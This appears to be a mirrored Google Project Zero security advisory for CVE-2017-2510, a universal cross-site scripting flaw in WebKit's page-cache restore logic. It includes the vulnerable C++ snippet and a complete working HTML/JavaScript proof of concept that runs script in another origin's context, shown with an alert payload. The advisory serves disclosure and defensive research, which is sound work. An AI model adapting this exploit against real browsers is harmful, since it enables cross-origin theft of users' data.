Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:142666
HistoryMay 25, 2017 - 12:00 a.m.

WebKit enqueuePageshowEvent / enqueuePopstateEvent Universal XSS

2017-05-2500:00:00
Google Security Research
packetstormsecurity.com
44

0.009 Low

EPSS

Percentile

80.6%

` WebKit: UXSS: enqueuePageshowEvent and enqueuePopstateEvent don't enqueue, but dispatch   
  
CVE-2017-2510  
  
  
Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.  
  
void CachedFrameBase::restore()  
{  
...  
for (auto& childFrame : m_childFrames) {  
ASSERT(childFrame->view()->frame().page());  
frame.tree().appendChild(childFrame->view()->frame());  
childFrame->open(); <----- (a)  
}  
...  
// FIXME: update Page Visibility state here.  
// <a href="https://bugs.webkit.org/show_bug.cgi?id=116770" title="" class="" rel="nofollow">https://bugs.webkit.org/show_bug.cgi?id=116770</a>  
m_document->enqueuePageshowEvent(PageshowEventPersisted);  
  
HistoryItem* historyItem = frame.loader().history().currentItem();  
if (historyItem && historyItem->stateObject())  
m_document->enqueuePopstateEvent(historyItem->stateObject());  
  
frame.view()->didRestoreFromPageCache();  
}  
  
enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously.   
  
At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.  
  
PoC:  
<html>  
<body>  
<script>  
  
function createURL(data, type = 'text/html') {  
return URL.createObjectURL(new Blob([data], {type: type}));  
}  
  
function navigate(w, url) {  
let a = w.document.createElement('a');  
a.href = url;  
a.click();  
}  
  
function main() {  
let i0 = document.body.appendChild(document.createElement('iframe'));  
let i1 = document.body.appendChild(document.createElement('iframe'));  
  
i0.contentWindow.onpageshow = () => {  
navigate(window, '<a href="https://abc.xyz/');" title="" class="" rel="nofollow">https://abc.xyz/');</a>  
  
showModalDialog(createURL(`  
<script>  
let it = setInterval(() => {  
try {  
opener.document.x;  
} catch (e) {  
clearInterval(it);  
window.close();  
}  
}, 10);  
</scrip` + 't>'));  
  
};  
  
i1.contentWindow.onpageshow = () => {  
i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';  
navigate(i1.contentWindow, 'about:srcdoc');  
};  
  
navigate(window, createURL(`<html><head></head><body>Click anywhere<script>  
window.onclick = () => {  
window.onclick = null;  
  
history.back();  
};  
  
</scrip` + `t></body></html>`));  
}  
  
window.onload = () => {  
setTimeout(main, 0);  
};  
  
</script>  
</body>  
</html>  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`